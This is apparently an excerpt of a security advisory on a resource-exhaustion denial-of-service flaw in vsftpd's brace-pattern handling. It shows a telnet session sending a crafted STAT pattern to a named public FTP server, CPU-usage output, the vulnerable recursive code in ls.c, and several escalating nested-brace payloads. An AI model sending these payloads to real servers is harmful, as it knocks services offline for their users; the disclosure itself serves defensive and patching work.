---
...
* parsing and handling. There is broad potential for any given
fnmatch(3)
* implementation to be buggy.
*
* Currently supported pattern(s):
* - any number of wildcards, "*" or "?"
* - {,} syntax (not nested)
...
---
That true but anyone who has changed ftpd bsd daemon to vsftpd to protect before CVE-2010-2632 (glob(3) resource exhaustion) are in danger. Any code with huge complexity, could allow of denial of service if an affected system received vulnerable pattern. This bug allow to disable wide range of servers. To designate vulnerable servers, we have to used pattern with medium complexity.
-Example affected server---
cx@cx64:~$ telnet ftp.gnu.org 21
Trying 140.186.70.20...
Connected to ftp.gnu.org.
Escape character is '^]'.
220 GNU FTP server ready.
USER anonymous
PASS abra@cadabra.abw
STAT {{*},....}
...
230 Login successful.
230 Already logged in.
213-Status follows:
-Example affected server---
Execution time may have wide range depending on the length of pattern:
empty 2388 97.3 0.0 37980 1352 ? R Dec23 222:42
/usr/sbin/vsftpd
222m and counting...
so any next {{*},Recursion} will increment the complexity. Let's see what is wrong and where. In vsftpd the main problem exists in ls.c.
-ls.c--
int
vsf_filename_passes_filter(const struct mystr* p_filename_str,
const struct mystr* p_filter_str)
{
...
else if (last_token == '{')
{
struct str_locate_result end_brace =
str_locate_char(&filter_remain_str, '}');
must_match_at_current_pos = 1;
if (end_brace.found)
{
str_split_char(&filter_remain_str, &temp_str, '}');
str_copy(&brace_list_str, &filter_remain_str);
str_copy(&filter_remain_str, &temp_str);
str_split_char(&brace_list_str, &temp_str, ',');
while (!str_isempty(&brace_list_str))
{
str_copy(&new_filter_str, &brace_list_str);
str_append_str(&new_filter_str, &filter_remain_str);
if (vsf_filename_passes_filter(&name_remain_str,
&new_filter_str)) <===== LIMIT THIS CALL
{
ret = 1;
...
-ls.c--
Code:
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <=====
LIMIT THIS CALL
this call should be limited, and in version 2.3.4 has been fixed.
A simple way to show growth in computing power ...
(1*2*3*4*...*count(vsf_filename_passes_filter complexity)) ==
count(vsf_filename_passes_filter complexity)!
Compare two patterns and see different between
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}
}}}
and add next {*,...}
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}
}}}}}}}}}
and in the end, compare:
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
hovever in vsftpd, command lenght is allowed to 4096 bytes. So it's no problem to create request with a huge complexity.